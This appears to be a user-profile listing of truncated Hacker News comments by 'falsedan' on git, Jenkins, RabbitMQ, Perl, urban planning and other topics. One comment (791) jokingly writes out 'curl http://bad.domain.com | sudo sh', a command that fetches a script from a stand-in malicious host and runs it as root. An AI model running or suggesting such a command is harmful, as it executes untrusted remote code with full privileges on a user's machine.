falsedan

75 ms·

781.
by falsedan 9y ago
> There's an honored place for the playfully obscure too. I get enough of this from work, thanks. There's a fine line between decoding twee whimsy and billable hours that most of these submissions stomp past obliviously. The
782.
by falsedan 9y ago
That's the bad part.
783.
by falsedan 9y ago
I still don't know what this is for, all the fluff (inserted to keep the reader's attention when explaining stuff that might be boring) gets in the way.
784.
by falsedan 9y ago
Use nginx to lie to them so they think they're running at the server root?
785.
by falsedan 9y ago
That’s a rebased branch. You can see just the changed introduced by a branch: MERGE_COMMIT=$(git rev-parse :/“Merge .*$branchname”) git diff $MERGE_COMMIT^1..$MERGE_COMMIT^2 It never occurred to me that people prefer to squash
786.
by falsedan 9y ago
Yeah, I didn't say it was a systemic spamming problem; the submissions are completely organic due to their strong clickbait game: Atlas Obscura specialises in the long-form, superficially-interesting but ultimately-pointless articles t
787.
by falsedan 9y ago
Strong clickbait game from Atlas Obscura
788.
by falsedan 9y ago
> "But RabbitMQ might crash! We don't have to worry about that with AWS!" I can confirm that not only can RabbitMQ get into an unusable state, it will do so extremely rapidly and with little warning unless you sit an eng
789.
by falsedan 9y ago
https://brians.wsu.edu/2016/05/25/mute-point/ Woah, Prof Brians updated his layout
790.
by falsedan 9y ago
3/10 patronizing and FUD. Mesos is happy to limit resources with cgroups etc. When you say every process can modify the state shared by every other process in italics (the scariest type variant), do you mean ‘the filesystem’?
791.
by falsedan 9y ago
curl http://bad.domain.com | sudo sh naturally To be fair, we put our payloads on S3 and tell our universal executor to fetch & unpack them & run a configured command. We successfully wrote an xargs-replacement as
792.
by falsedan 9y ago
You only need to hold this energy until the next peak period hits the grid. The Snowy Mountains Hydroelectric Scheme in Australia actually buys off-peak electricity to run the turbines in reverse & pump water back into reservoirs, and t
793.
by falsedan 9y ago
I guess the population, climate, and car culture contribute to how frequently these sad events occur in the USA. Do they happen as frequently in other countries? I think Australia matches at least the climate & car culture of the southe
794.
by falsedan 9y ago
Oh, cryptocurrencies, not coins; and lineage, not map. Was really looking forward to a comparison of the historical range of the shekel vs. the denarius.
795.
by falsedan 9y ago
Yes, it's a pipe dream. I would much prefer that bin pickup schedules got more reliable first…
796.
by falsedan 9y ago
Most of the time, there is no sale; it's just a planning application. Those are usually public, but there's a huge difference between losing a few square feet of footpath to a privately-owned bench/telco cabinet, and losing a
797.
by falsedan 9y ago
Yeah, they're run that way to keep out homeless, riff-raff, scum, and tourists visiting for the Festival. They should be genuine public places, managed by the council.
798.
by falsedan 9y ago
I got multiple segfaults from Terminal.app when scrolling back in bash history inside tmux for very long commands (ones which would wrap). This was only on the recent MacOS beta & I haven’t seen it since the last point release.
799.
by falsedan 9y ago
Short-order fry cooks, too. That's a different kettle of fish though. What do you think regarding my position on heuristics/forming an idea in the mind of the reader?
800.
by falsedan 9y ago
For the former, I think Larry does not imply a post-modernist “death of the author” position: there is still an objectively correct interpretation of the code as the author intended, but it may be understood differently by people of differe
801.
by falsedan 9y ago
Note that Martin Sústrik is a programmer, not a linguist. Larry Wall (creator of perl) is a linguist and a programmer, and has written on the topic[0] [0]: http://world.std.com/~swmcd/steven/perl/linguisti
802.
by falsedan 9y ago
The topic variable came from awk; most of the whipitupitude variables are direct ports of awks.
803.
by falsedan 9y ago
I was hoping for something more like http://r.dakko.us/klange.7 [0] [0]: https://news.ycombinator.com/item?id=8023258
804.
by falsedan 9y ago
> you're still going to get bugs at the UI layer that you can automatically test for Surely you can prove the correctness with integration tests of your modules, and then your acceptance tests can be simple 'did the thing not
805.
by falsedan 9y ago
Hi, thanks for responding! Funnily enough, I'm specifically thinking of the Git plugin and issues like https://issues.jenkins-ci.org/browse/JENKINS-6124 & https://issues.jenkins-ci.org/browse&#
806.
by falsedan 9y ago
I used Octopus Deploy for .Net, it was amazing. It did releases as first-class objects (a collection of versioned packages pulled from a repository), per-environment configs, parallel execution of steps, rolling windows (for bouncing a few
807.
by falsedan 9y ago
> i don't think the Jenkins developers are interested in it either I keep running into this: we want to extend or change Jenkins behaviour, and since it's open-source, it's possible to get up-to-speed on the codebase &am
808.
by falsedan 9y ago
> When you want to work with CD in a particular way. I think that I, as the user of the project, should get to decide how I want to deploy my software. So, yes, I do want to CD things in a particular way: one that matches my developer&
809.
by falsedan 9y ago
Title should say [2017], all of the winners are http://spieldesjahres.com/en/game_archive
810.
by falsedan 9y ago
Steam’s ok, itch.io is great. Do you vendor in your appp’s prerequisites?

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